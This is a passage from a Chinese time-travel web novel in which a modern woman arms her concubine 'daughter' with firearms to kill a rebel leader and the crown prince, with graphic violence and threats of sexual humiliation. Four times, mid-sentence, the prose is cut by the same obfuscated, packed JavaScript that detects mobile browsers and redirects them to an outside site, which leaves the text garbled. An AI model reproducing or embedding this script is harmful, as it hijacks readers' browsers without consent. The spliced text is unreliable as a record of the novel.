“陈大人,你莫不是癔症了?”太子身边的宦官李辅国道,“莫不是你们杀了皇帝,又编出这样一套瞎话来骗太子?” 太子也眉头紧皱,父皇死了是好事。可什么叫父皇是被贵妃杀的?什么又叫上仙降世自称贵妃之母,上仙协助贵妃杀了父皇?这一切都太荒谬了。 “殿下,臣绝无半点虚言,若您不信,可传唤王将军质问,只是将军被上仙砍了两条腿,不知是否醒了过来。”陈将军拱拱手,他心中对太子的恭敬也少了几分。 太子止住李辅国的话,温声道:“陈卿,非我等疑虑,只是此事实在太过匪夷所思,难免多问了几句,望陈卿莫怪。” 陈将军拱拱手,并未多说。 太子见他三缄其口,不愿深谈的样子,还是亲自问了:“陈卿,依你之见,当下该如何?” 听了这话,陈将军心里起了涟漪,若说从前,他必定会助太子夺取兵权篡位登基,可现在,玉娘那头可是压着一位仙母! “全凭太子做主。”陈将军道。 太子失望的挥了挥手,让陈将军退下了。 等人的身影不见了,李辅国忙到:“殿下!陈将军有异心!不可放他走!” 太子皱着的眉没放下来过,他道:“他所言神怪之事,荒诞不经,我自然不信的,只怕他另有所图,欲陷我于险地,罢了,速宣王将军来见!” 等被砍了王将军和副将被抬进太子行营,王将军已不能开口说话,就在将死之际,那副将扑通一声跪道在地,大声疾呼:“太子殿下!有妖孽降世啊!” “什么?”难道陈将军说的是真的? 等那副将将前后一分说,虽说用词多有偏颇,并不称郝美丽为上仙,反倒斥责她是妖孽,但大体上是一致的: 一阵光晕出现,冒出了一个人,那个人身着奇异,对着玉娘自称母亲,砍了王将军的双腿,还协助玉娘杀了皇帝,最后把玉玺给了玉娘当玩具玩。 太子听到“李玄天命已尽”时,眼前一黑,几乎栽倒。李辅国赶忙架住他,急声道:“殿下!那人只说先皇气数已尽,可没说我大胤国运到头,更没说您不是真龙天子啊!” 太子扶着李辅国的手臂,脸色惨白,茫然地喃喃道:“可,可那玉娘,她是上仙的女儿啊……” 李辅国却道:“殿下,若玉娘果真是上仙之女,怎会进入李家成为妃妾?必定是妖孽作祟!那妖孽出现一段时间后就不见了,想来是不能久现人世,只要我们杀了玉娘.......” 这话一出,在场所有人都静默了一息。 然而,下一秒。 “殿下,李公公此言甚妙,若玉娘果真是上仙之女,必定和她母亲一样刀枪不入,若不是,那就是妖孽作祟。殿下您是真龙在世,万万不可丧志啊!”副将也跟着劝说。 他们这些人的身家性命全部压在了太子身上,为了助太子夺位,兵变逼宫的事都干了,又怎么会怕再杀一个玉娘?就算她是上仙之女,敢挡他们的富贵青云路,也要杀之而后快! 这天下只能有一个皇帝,那就是李胤! 太子想起从前,父皇一日杀三子,两次想要废了他,多次清洗他身边的亲信,他和父皇之间本就毫无亲情可言,现在父皇死了,死在了自己最宠爱的女人手中,真是可笑。 真是天大的讽刺!如今,就让我这个你从不看好的儿子,来为你,也为这大胤,肃清最后的障碍吧,这天下,是时候是他李亨的了。 太子神色一暗,和众人对视一眼,尽在不言中。 夜色深浓,高坡的骚动持续涌动,皇帝的驾崩似乎无人在意,所有人的口耳之间,只反复流传着白日的奇迹。 “那可是上仙之女,刀枪不入啊!” “追随新主,便是从龙之功,享不尽的富贵!” 这些私语如同野火,烧尽了将士们心中的惶恐,点燃了难以言说的野心,他们不约而同地望向那顶营帐,眼神热切,权势、富贵,乃至那虚无缥缈的长生,仿佛都触手可及。 被所有人关注着的行帐里,玉娘没有想荣华富贵,就连那块被世人追捧的玉玺,也被她随手丢在一边,她只是静静的躺着,流着眼泪,在想妈妈。 其实玉娘知道,自己比妈妈的的年龄还要大,妈妈的脸庞那样稚嫩,妈妈的神色那样张扬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823784|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈不是妈妈,妈妈只是一个小女孩,可妈妈又是妈妈,有了妈妈,自己才不会被欺负。 有了妈妈,就有了一切。 玉娘哭的久了,头昏脑胀起来,她竟然惊恐的发现,她有点记不清妈妈的样子了,这让她很害怕,她拼命的转动脑筋,拼命的想着妈妈的眉眼五官,可是越想,记忆就越模糊,就好像妈妈今天突然消失一样。 这种抓不住的感觉让玉娘再次崩溃了,鼻尖越来越酸,眼泪止不住的流,她怎么这么没用?连妈妈的样子都记不清? 她有些怨恨自己,恨自己怎么只是一只金丝雀,让妈妈流着泪离开,恨自己一无是处在最狼狈的时候遇见妈妈,让妈妈的手上沾了血。 妈妈会怪自己吗? 大概是不会怪的,因为妈妈爱自己。 就这几个简单的念头,玉娘反反复复想了很久,才想明白,在她过去的人生里,没有人这样爱过她,爱这个词对她来说太重了,重到她不敢相信。 妈妈爱自己,这个信念变成了一股从心底到胸腔再到全身无法抑制马上就要喷涌而出的勇气,让她有了憎恨的力量,有了报复的念头,更有了对这个世界说不的权力。 她好像真的明白了,妈妈最后看她的眼神是什么意思。 就在玉娘思念妈妈的时候,太子帐下八百精兵趁着换防的实际,悄悄摸进了行营附近,他们趁着夜色已深,灯光昏暗,缓缓的抽出了长刀,八百人,像一层层密不透风的纱网,围住一条不设防的鱼。 这个夜晚,注定不平静。 * “砰!”一声枪响。 大美丽国某枪械场里,郝美丽穿着一身黑色防弹背心,带着防护眼镜,正扛着M249大菠萝射击,即便带了降噪耳机,枪械产生的巨大噪音还是会让她耳鸣。 直到最后一发弹壳叮当落地,郝美丽才缓缓放下枪,持续的核心紧绷与后坐力冲击让她双臂麻木,当沉重的枪身离手时,她控制不住地微微颤抖,耳鸣声中只听见自己粗重的喘息。 郑大钱递了一杯水给她,她接过。 “美丽,真的要这么拼吗?”郑大钱有一些不忍心,郝美丽从未接触过枪械,可她到大美丽过后,一刻都没停下,就住进了枪械场。 步枪、手枪、冲锋枪,她摸透每一种的后坐力,记牢每一种的装弹方式。她近乎执拗地练习着各种枪械,将每一种的习性刻入肌肉记忆,只为了不让女儿再陷入孤立无援的境地。 郝美丽什么都没说,只是坐下来,望着远处。 “今天已经12月3号了。”郑大钱提醒道。 是的,本来12月1号郝美丽就可以再次见到女儿,可是,她迟疑了很久很久之后,选择推迟见面的时间。 “你不是很想见她吗?”郑大钱不解,她见过郝美丽手足无措焦虑不安的样子,可当郝美丽拿起枪后,就变得平静下来了,她的脸上再也没有其他情绪,只有平静。 面对好友的疑问,郝美丽低头看着自己因高强度练习而微微颤抖的双手,指节处还留着练习时硌出的红痕。最终,她什么都没说,休息了十五分钟后,她重新站起身,再次握紧了枪械。 只不过这一次,她的枪法变得更准了。 5. 第 5 章 玉娘的营帐内,只亮着一盏孤灯。 营帐外,金属交击与濒死的惨叫声不绝于耳,无数条人命正倒在这个夜晚,倒在野心之下。 其间有数次,刀锋劈裂帐帘,那些带血的兵刃几乎要探入帐中!玉娘甚至能看清对方眼中疯狂的杀意,死亡离她只有一线之隔。 帐内,陈将军神情莫名,道:“娘娘,太子党逆贼派兵来袭,攻势猛烈,若上仙能降临,必能庇佑娘娘安然无恙。” 玉娘端坐的身姿未变,唯有按在膝上的指节微微一蜷。她感受到了他的试探,随即,将那口提起的气又缓缓吐了出来。 这很无礼。 若是妈妈在,会怎么做?妈妈会教训他,一瞬间,玉娘就明白了自己该怎么做。 “陈将军,你胆子大的很。”她斥道。 “臣不敢!”陈将军立刻跪下请罪,作为大胤忠臣,他的心还没有完全偏向玉娘,除了有上仙这位母亲之外,他怎么看,玉娘都只是一个普通女人。 臣服一只雀鸟,他不甘心。 “嘴上说着不敢,背地里却什么都敢。”玉娘轻轻吐出来这一句,看向陈将军,这个胆敢兵变逼宫的人,实在阴险。 不过,幸好。 不知过了多久,帐帘被一把染血的腰刀挑开,一名年轻的中郎将大步踏入,甲胄上满是血污,他重重跪地:“娘娘,太子逆党已尽数伏诛!” 他是柏巡,是白日里在妈妈身后眼神最为炽热的那名将军。在临睡前,她召见了他,他果然没让她失望。 帐内烛火噼啪一响。 玉娘看着眼前跪着的年轻将领,想起妈妈说的话:“要记住,借来的势终归不是自己的。你得尽快挑选几个身家性命与你绑在一起的人……” 妈妈,我做到了。 “我知你们心中所想,无非是疑惑,我妈妈为何不来。” 玉娘目光扫过众人,声音沉静,:“她令我下凡历练,若连此等微末小事都需劳动仙驾,还要我等何用?更何况——” “他日功成,若无尺寸之功在身,尔等又有何面目,向我母亲请赏?” 陈将军抬头,眼中闪过一丝难以置信,柏巡闻言,激动得难以自持,他“咚”地一声以头抢地,高声应和:“臣等愿为娘娘效死,绝不负上仙与娘娘重托!” 她缓缓起身,走到柏巡面前,并没有让他平身,想象着妈妈发号施令的样子,说:“柏巡,你今日之功,我记下了,你的忠心,我更明白。即刻起,擢升你为骁卫将军,由你负责我的行营安全,功成之后,再有封赏。” 一番话,就拴住了柏巡的心,喜得他连磕了三个响头,他几乎已经预料到了未来的富贵荣华。 陈将军被晾在一旁,眼帘微垂,神色如常。他心中暗忖:一时试探,竟让柏巡这莽夫出了头,不过,他不急于一时,乱世之中,他深信玉娘终有用得着他的时候。 思及此,他上前一步,建言道:“娘娘,现下高坡上有两万兵力,尚且不知哪些是真心归顺娘娘,哪些是太子逆党,况且,太子今夜刺杀失败,必定不会善罢甘休的,要早做打算才是!” 他说的确实有道理,太子一党因为轻敌,损失了一波人马,下次必然是你死我活的局面了。 既然如此,玉娘道:“太子喜欢尸身,把这八百人的尸身若都送给太子,让所有人好好看看,跟着太子的下场。” 晨曦将至,太子看着眼前堆积如山的尸首,尚未从刺杀失败的震怒中平复,一名心腹便连滚爬爬地冲了进来。 “殿下!军中大半将士,都倒向玉娘了!” 太子一把揪住他的衣领:“你说什么?她母亲不是不在吗?难道她也刀枪不入?她凭什么……” 副将带着哭腔喊道,“兄弟们都说,她是上仙之女,天命所归!我们大势已去了,殿下!” 太子揪着他衣领的手突然松开,踉跄着后退两步,怔怔地看着帐外,彻底呆住了。先皇匆匆从京城出逃,只带了两万人!若这两万人全投了玉娘,那他?太子打了个冷颤。 太子更想不明白的是,为何同为父母,她的母亲便是庇佑她的九天仙尊,而自己的父亲,却成了这地上的一具臭尸? 太子盯着李玄的尸身,眼中闪过一丝快意,他恨不得将这老东西弃之荒野,让野狗吞食,可他却不能,而且,比起这尸体,更让他如坐针毡的人,是玉娘! 李辅国看太子愁眉不展,又想出了个狠招,他道:“如今将士们思归心切,我们何不顺水推舟,拥戴她领兵回京,光复京城?她若拒绝,便是违逆军心,自绝于将士;她若应允,便是以卵击石,正面对上轧荦山的虎狼之师。” 太子眉头微动:“若她……真能击败轧荦山呢?” 李辅国阴冷一笑:“殿下,哥舒翰二十万大军尚且一触即溃,她凭这两万惊魂未定的疲卒,若能取胜,那便不是上仙之女,而是天帝下凡了!” “届时她与叛军两败俱伤,殿下手握禁军,是先帝嫡子,这收拾残局、登临大位之人,除了您,还能有谁?” “可若她那个仙母再次降临?” ““殿下,她那仙母或可不败,却未必能必胜。”李辅国一针见血,“我观她那仙母仅有自保之力,杀人时却没施展什么仙法,不足为虑也。” “如此,逼她回京城,和轧荦山决战,我们坐收渔翁之利,妙极!”太子一击掌,就认可了这个计谋。 不多时,一种暗流开始汹涌开来。 既然是上仙之女,为何还要龟缩在这高坡上?既然能顺应天命,那就该统领三军光复京城再现汉人荣光! 不知从谁开始,士卒们望着京城的方向,开始涕泪交加:“娘娘!汉人天下正在蒙尘,京城父老日夜泣血,盼王师如盼甘霖啊!” “娘娘,既是上天派来拯救大胤的神女,怎能忍心见神州陆沉,逆胡猖獗?” “如今天下之大势在于京城,逆胡之首级亦在京城,请娘娘率领我等,杀回京城,光复社稷,以正天命!” 一声声一句句,将玉娘架在了烈火之上。 玉娘正坐着,手捧着玉玺,这是妈妈给她的玩具,她听到了那些话,男人救不了江山,先怪罪女人,等女人手里有点好东西,就哄着骗着,让女人出头,他们对待女人,向来如此。 李玄、太子、陈将军、柏巡等人,他们的心上藏着多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823785|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少污秽,她不知道,他们的话里又有几分真心,她更加不想探究。 玉娘好像陷入泥潭之中,一双双男人的手,不知从哪冒出来,拽着她往深渊里扯,只有妈妈想要救她,用自己瘦小的身体和千万个男人博弈,想将她拽上岸。 妈妈,好想妈妈。 玉娘又一次垂泪,这一次,泪流在了妈妈给她的玩具之上,妈妈,若你在,必不会让他们欺负我?对不对? 她撇撇嘴,泪流的更急了,她还没有想好自己未来的路,她还准备和妈妈好好说说话,在妈妈怀里,让妈妈告诉自己未来该怎么走,她就被那些人推向了本不属于她的路上。 命运,向来喜欢强加给她一些她不喜欢的东西,这样可恨,这样可恨! 若妈妈在,谁敢如此? 可妈妈不在。 玉娘拼命吞咽,深吸了几口气,睁大了眼睛,将泪止住了,妈妈不在,她不能哭了,若让别人看见,她就危险了。 她还等着再次见到妈妈。 这个念头让她多了几分期盼,就算被命运推着走,她本来就是该死的人,是妈妈让她多活了几日,可一想到在未来某个时刻,能再遇见妈妈,就什么恐惧都没有了。 无论如此,妈妈都会爱她,这就够了。 “传令,全军返回京城,和叛军决一死战。” * “美丽,这可是你所有的积蓄,真的要都花了吗?”郑大钱看着准备刷卡的郝美丽,劝道。 郝美丽刷卡的手没停,她知道这是她所有的积蓄,她更知道这是她朝九晚十二每天通勤两小时做了三年牛马被客户领导狂喷得来无数遍才得到的一笔钱,数额不算多,但很珍贵。 “我知道。” “真的不再考虑考虑吗?” “还考虑什么?”郝美丽反问。 “万一还有别的方式呢?万一她根本不需要这些呢?万一你去的时候她已经死了呢?”郑大钱实在不忍心看着好友背负不属于自己的命运,她宁愿她自私一些。 听到最后一句,郝美丽的手一顿,心里惊了一下,可下一秒,她又继续动作,她说:“她不会死的,我相信她。” “美丽,这不是你该承受的,根本不是你的错!”郑大钱握住她的手,再次劝到。 “那也不是她该承受的,更不是她的错。”郝美丽终于停下来了,和好友对望,两人眼中有太多情绪。 “可是为什么是你,是你来承受这一切呢?对你不公平,我不接受。”郑大钱和她认识多年,从未见过她这样,她不远自己的好友这样痛苦。 郝美丽看着好友眼里的不解,低着头,点了一根烟,抽了一口,终于说出口:“我有你,还有开心,还有其他朋友,我有父母,有可以保护我的法律,有可以给我一切安全感的国家,可她什么都没有了,你明白吗?大钱。” “她什么都没有,没有一个人为她说话,没有一个人看见她的痛苦,那些人只想吃了她,吃了她的身体、她的灵魂、她的清白。” “从来没有一个人给她选择的机会,这更不公平,我绝不能接受。命运既然选了我做她的妈妈,我就要为她讨回公道!” 6. 第 6 章 京城沦陷,血染万里。 自轧荦山入主京城,大胤盛世就成了昔日黄花,凋零无存。十万叛军攻进了城,竟不再把自己当做人?一个个都去做了畜生。 先是叛军大索,数万叛军分成一个个小队,挨家挨户破门,抢些什么?金银、丝绸、妇女,都是他们的目标。一百零八个里坊,百万子民都成了一碟糕点,用着利刃切割,每人分食几口,饱了野欲,当然顾不得那底下流的血泪。 再是系统性的屠杀,凡李胤宗室,杀!几百上千人聚集一处,无论男女老少都跪着被斩首;凡拼死抵抗者,杀!夫护妻者,子护母者,民护国者,但凡有一点血性,就立刻毙命于屠刀之下,凡此种种,不下十万人。 最后是毫无顾忌的破坏,无论雕梁映画,或者书卷奇珍,连酒楼的招牌,也非要砸下来踩几脚不可。什么书生秀才,工匠农户,绣娘良医,在叛军看来,和两脚羊并无两样,索财不得就销毁,不止要毁了心血,还要毁了这泱泱中华千年传承。 这一切的根源,就是轧荦山。 他自称大魏雄武皇帝,正躺在大明宫内,享受着大胤宫娥的服侍,酒酣耳热之际,又一位曾经反对他的人被挖出了心脏,他听着声声惨叫,只觉格外悦耳。 “此方为天下第一美事也。” 又一杯酒下肚,他赞道。 他坐拥十万雄兵,大败二十万胤军,自太宗皇帝手里传来的巨唐,如今轻而易举的就到了他手里,如何不得意? 如今的他,视胤军如粪土。 “胤军还敢回来?找死不成。”轧荦山听着属下汇报,都没坐起身,端着酒杯,任由宫娥给他满上。 “陛下,这次来的胤军不一般!” “哪里不一般?李玄那个老狗不去蜀地了?敢来和我决一死战?” “陛下,李玄已经死了,被玉娘杀了!这次来的胤军,统帅竟然是玉娘!” “噗!”一口酒吐出来。 轧荦山坐起几百斤的身体,瞪大眼睛:“你说什么?玉娘杀了李玄?还领兵而来?” “正是,陛下!” “你疯了还是我疯了?” “陛下,臣等探得,高坡有变,那玉娘竟得一位仙母临凡相助。此圣母刀枪不入,神异非常,不仅助其弑杀李玄,如今更挟大军,正向京城扑来。”属下回禀道。 轧荦山坐直了身子,才谨慎问道:“此言当真?” “陛下,此事恐怕不假。若非有神异之事,她一介女流何以能统领三军,直逼京城?若非军心所向,那些将士又怎会甘奉她为主,前来送死?”属下斟酌的回答。 轧荦山将酒杯搁下,正了神色。 他们这等逐鹿天下之人,最是敬畏天命。轧荦山本以为自己才是天命所归,将取而代之,万没想到,玉娘一个本该香消玉殒的妃子,竟能引来仙母临凡,横生如此枝节! 或许是看轧荦山难色晦暗,那属下又补充道:“陛下,臣还听说,这位仙母只降临一次后,就消失不见了......” “仙母……只降临一次?”轧荦山先是一怔,随即,心头那团迷雾仿佛骤然散尽。 是了!什么仙女神异,分明是胤军溃败后设下的疑兵之计!那玉娘不过是个诱他轻敌的幌子,真正的杀招,定然埋伏在后! “吩咐下去,严阵以待,我倒要看看,谁敢触我的眉头!” 轧荦山下了命令,他又嘿嘿一笑,“玉娘这骚狐狸还敢回来?等擒住她,老子先剥光了尝尝这身细皮嫩肉!玩腻了再赏给弟兄们,让全天下都尝尝这皇帝女人的滋味!” 三日后,京城城外。 两万多胤军拥着玉娘和太子,再次回到了这个她们逃离不久的地方,迎接他们的是轧荦山的数万大军。 两军摆开阵势,许是轧荦山心存谨慎,叛军并未立刻扑杀上来,可吞噬了二十万大军整座京城城的凶悍之气,还是扑面而来。 直到此时,被上仙刺激的胤军们,终于看清,眼前这支吞噬了二十万同袍的军队,正是将这个盛世拖入深渊的噩梦本身。 所有人的脚步都迟疑了,不再上前。 “全军将士们听着!娘娘乃上仙之女,自有神明庇佑!今日破敌复国,在此一举!我等当谨遵娘娘法旨,恭请娘娘为先驱!”李辅国跟在太子身后,高喊。 这一声喊,似乎是提醒了众人。 “对啊,有娘娘在!” “娘娘是上仙之女,必有上天庇佑!” “跪请娘娘出阵,歼灭叛军!” “有娘娘在我们根本不用出手!” “娘娘必然也是刀枪不入!” 一声声议论,又一次在玉娘耳边响起,他们又在逼她了。他们想躲在身后,让她出面。 玉娘望向前方,是巍峨城墙数万叛军临阵以待,望向身后,是两万胤军众目睽睽只等她上前。 向前向后,都没生路。 太子、陈将军、李辅国,乃至柏巡,所有人的目光都钉在她身上,翻涌着毫不掩饰的贪欲。 在那些目光下,玉娘下了马,玉娘翻身下马。连日疾行,大腿内侧早已被马鞍磨得皮开肉绽,每走一步,衣料便碾过伤口,钻心的疼。 她的脚步落在干冷的土地上,发出一声声轻响,寒风卷过旷野,穿透她的衣衫,冷得她齿关都在打颤,身体越是冰冷,心底就越是忆起那个怀抱的温暖,她几乎要脱口唤出一声“妈妈”。 叛军阵前一片死寂,唯有风声呼啸。 所有目光都盯住那个独自前行的身影,轧荦山眯起眼,肥硕的手指紧紧攥住了刀柄,她竟真敢过来?莫非真有倚仗? 他一挥手,几支箭矢倏然破空,却只钉在玉娘脚边的土地上,不见任何神异发生。 “到底是怎么一回事?”轧荦山想不明白了,为何胤军放任玉娘前来?他们有什么阴谋?可他的探子早已来报,并无任何援军。 轧荦山决定再试探一番,他挑衅道:“玉娘!你杀了李玄那条老狗,算你有点胆色!瞧你这身段还有点用处,跪下来求我,便让你知道什么是真男人!” 玉娘忍住寒风,抬起眼,看着远处那个三百多斤的胖子,像在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823786|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件秽物,她仰起头,皱着眉说:“真恶心。” 轧荦山愣住了,问:“你说什么?” “我说,你真恶心!” “贱妇,你敢!”轧荦山脸上的横肉一抖,随即,他竟咧开一个无比残忍的笑容。 “好,很好!我倒要看看,你这张硬嘴能撑到几时!” 他一挥手,“来人!把这贱妇给我绑到辕门旗杆上!脱光了衣服,让全天下人都看个一清二楚,这个贱妇究竟是什么模样!” 几名如狼似虎的叛军冲上前,就要抓住她,玉娘却把手一横,露出一把利刃来,梗于自己脖颈前,横眉冷对:“今日,唯死而已!” 他们还想再次羞辱她,绝不可能! 从前,是他人要她死;现在,是她自己求死。摇尾乞怜换不来半分怜悯,尊严,向来是自己挣来的! 玉娘把眼睛一闭,脖颈就要往利刃上送,她心道,妈妈我来了。 却不想,一只温柔又有力的手止住了她的动作,她整个人便被揽入一个温暖而坚定的怀抱里。 是妈妈! 玉娘睁开眼,果然看到了那个朝思暮想的人。 “妈妈!”玉娘立刻丢掉利刃,扑进郝美丽怀里,无比眷恋,“我还以为再也见不得你了,我还以为你不会再来了!” 郝美丽将玉娘抱在怀里,安抚她:“怎么会,我一定会来见你的,别怕,我在。” 边哄女儿,郝美丽边向系统了解情况,等知道发生了什么,她几乎气笑——是谁给他们的胆子,在她离开后,这样欺辱她郝美丽的女儿? 不过,郝美丽看了看自己的装备,又不气了。 郝美丽轻轻捧起女儿泪痕交错的脸,语气温柔得像在问晚饭想吃什么:“乖女儿,你想先杀谁?指给妈看,是那个肥猪轧荦山,还是那边几个贱男?今天你点谁,妈就送谁上路。” 直到此刻,玉娘这才注意到郝美丽与上次截然不同,她一身利落的黑色特种作战服,背负行囊,腰间与胸前固定着数件泛着金属冷光的奇异器械,脚下更稳稳立着几只硕大的黑色箱匣。 “妈妈,都可以。” 玉娘不知道妈妈怎么杀人,但妈妈说能杀,那就听妈妈的,杀哪一个她都开心。 于是,郝美丽拿出准备好的武器——M249 SAW、RPG火箭筒、M67手雷、98K狙击枪等等,这次,她可是有备而来。 这诡奇的一幕,让轧荦山瞳孔骤缩,光晕乍现,奇装女子凭空而出...... 难道玉娘“上仙之女”的传言,并非虚言?他心头剧震,肥硕的手指死死抠住刀柄,他不敢相信,又不能不信,此事传扬出去,他的皇位还能坐多久? “妖孽,妖孽!给我杀了妖孽!” 轧荦山肥手一挥,数千人涌了上来,就算她们母女是上仙,他今天也要将她们的尸首留在这里! 眼看着数千人围上来,郝美丽不慌不忙,拿起RPG火箭筒,打开黑色箱子,装填弹药,抗在肩头,对准轧荦山。 “嘭!” 一声炮响。 7. 第 7 章 长安城下,胤军和叛军两方对峙。 郝美丽身后是女儿玉娘,面前是几千个准备冲上来杀了她们母女的叛军,郝美丽眉头都没眨一下,就扛起RPG火箭筒开了炮。 一声炮响后,三百斤的肥猪化作了臊子。 对,就是水浒传里那句经典:先要十斤精肉剁成臊子,再要十斤肥肉剁成臊子,最后要十斤寸金软骨细细剁成臊子。 现在轧荦山也成了臊子。 郝美丽放下火箭筒,转身捂住宝贝女儿的耳朵,连忙道歉:“对不起,乖女儿,妈妈刚才忘了帮你捂耳朵,是不是震得不舒服?” 身后是轧荦山的血□□天飞溅,可郝美丽的眼里全是关切。这一幕落在玉娘眼里——简直帅极了。 玉娘第一次觉得,自己妈妈或许真是天神降世,早已非凡人所能想象。她摇摇头:“我没事,妈妈别担心。” 她们正说着话,几万叛军却已吓得魂飞魄散。巨响过后,轧荦山和身旁几人连残肢都没留下。这就是仙法吗?隔得这么远,就能让人血肉横飞。 方才还喊着要诛杀妖孽的叛军中,不知是谁带头,“哐当”丢了兵器,扑通跪地,带着哭腔高喊:“恭迎上仙!我等愿降!” 郝美丽挑了挑眉。 看,在冷兵器时代,真理就在火箭筒的射程之内,物理说服,比什么道理都好用。 解决了这个,还有另一个。 郝美丽回过头,望向太子等人。这一眼,就把太子吓得滚落马下,连连磕头:“上仙饶命!上仙饶命!” “宝贝女儿,要不要杀了他?”郝美丽问。 “妈妈,他派人刺杀我,还逼我独自迎敌……帮我杀了他!”玉娘站在郝美丽身后,乖巧得像个孩子。 这份记仇,倒让郝美丽有点想笑。 “没问题。”郝美丽刚想扛起火箭筒,又放下了,对玉娘说,“宝贝,妈给你带了样新玩意儿,你来试试。” 她慢条斯理地端起98K,枪口遥遥指向太子,朗声道:“别说我不给你机会。现在,骑上你的马跑吧。跑出我的射程,算你命大;跑不出嘛……” 她微微一笑,“就把命留下,给我女儿助个兴。” 太子吓得肝胆俱裂,鼻涕眼泪糊了满脸,几乎是滚爬上马背。他顾不上皇家威仪,整个人死死趴在马脖子上,发疯似的抽打马匹,只求离那女魔头远一点,再远一点。 郝美丽却从容地把玉娘圈进怀里,手把手地调整她持枪的姿势,语气温柔得像在教女儿写字:“对,眼睛贴在这儿,看镜子里的小十字,别紧张……” “妈妈,我看见太子的脑袋了,好清楚!” “那当然,这枪装了八倍镜。” “妈妈,接下来怎么做?” “手放这儿,瞄准,然后扣下去。” “嘭”一声枪响,打歪了。 “没事,乖,再来一次。” “妈妈,我是不是很笨?” “又说傻话,你是天底下最聪明的孩子。”郝美丽说着,手轻轻覆上玉娘的手,稳住枪身。 玉娘从十字镜里,捕捉到太子奔逃时那张惊恐扭曲的脸。不知怎的,她有点想笑,这就是皇天贵胄,随着这笑意,她扣动了扳机。 “嘭”一声枪响,太子坠马倒地。不一会儿,鲜血染红地面——他死了。 玉娘从没觉得杀人这么畅快过。原来把他人当作草芥随意践踏,是这样的令人迷醉,怪不得他们个个都想踩在她头上,真是该死。 玉娘突然丢下枪,转身紧紧抱住郝美丽。 这世间最珍贵的,就是妈妈。 “妈妈。” “嗯?” “我爱你,妈妈。” 听到这句话,郝美丽愣了好一会儿,才轻轻回抱住女儿,低声说:“我也爱你,宝贝。” “乖女儿,接下来咱们杀哪一个?” 玉娘轻轻握住母亲的手,双手捧着,贴在自己脸颊上。 “妈妈,”她抬起眼,“先不管他们了……让我就这样陪您待一会儿,好不好?” 没有什么比女儿的依恋更重要。郝美丽立刻放下武器,转身将玉娘被风吹乱的发丝别到耳后:“都听你的。” “妈妈每次出现,都像踏着七彩祥云来救我的大英雄。” “因为你在这儿,”郝美丽轻抚她的脸颊,“妈妈就是来给你撑腰的。” 玉娘把头轻轻靠在郝美丽肩上,满足地叹了口气:“有妈妈在,真好。” 郝美丽感受着这份全然的信赖,心中软成一片,她望向前方恢弘的宫阙,轻声问:“那,乖女儿,在这一切之后,你真正想为自己活出怎样的人生?” 玉娘怔住了。怎样的人生?她张了张嘴,话却卡在喉咙里。 在叔父家学着讨好,在王府学着规矩,在深宫学着生存……自由是什么滋味?她贫瘠的想象中,竟找不出一个具体的画面。 看着玉娘眼中的茫然,郝美丽又告诉她:“听不懂也没关系。你只要记住,以后你想做什么,就可以做什么;不想做什么,就可以不做。” 玉娘正若有所思,却忽然偏过头,反问道:“那妈妈呢?妈妈你想做什么?” “我?”郝美丽一愣。 她是个再普通不过的人。按部就班地读书、工作,是社会机器里一颗从不出错的螺丝钉。若没有这场奇遇,此刻她大概正对着电脑,在报表和会议里消耗又一个平凡的日子。 郝美丽笑了笑,语气里带着点自嘲的坦然:“我啊,就是个普通人,没什么大志向,日子过得不好不坏,平平淡淡,好好生活就够了。” 玉娘却摇摇头:“妈妈才不普通,妈妈有颗金子一样的心,还有能改变这个世界的能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823787|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 第一次被这么夸,郝美丽有点不好意思。 玉娘沉吟片刻,眼中带着些许憧憬与不确定,轻声试探:“妈妈来的那个地方,是不是……只有您一个像您这样的人?” 只有一个吗? 不是的。除了她,还有常开心、郑大钱,还有许许多多不知姓名的人。她们都存在着,生活着。 只要回到那个世界,郝美丽的生活就重新变得鲜活起来。她的人格是完整的,灵魂是舒展的,她诞生在一个可以轻易获得快乐与幸福的时代。 那么,玉娘呢? 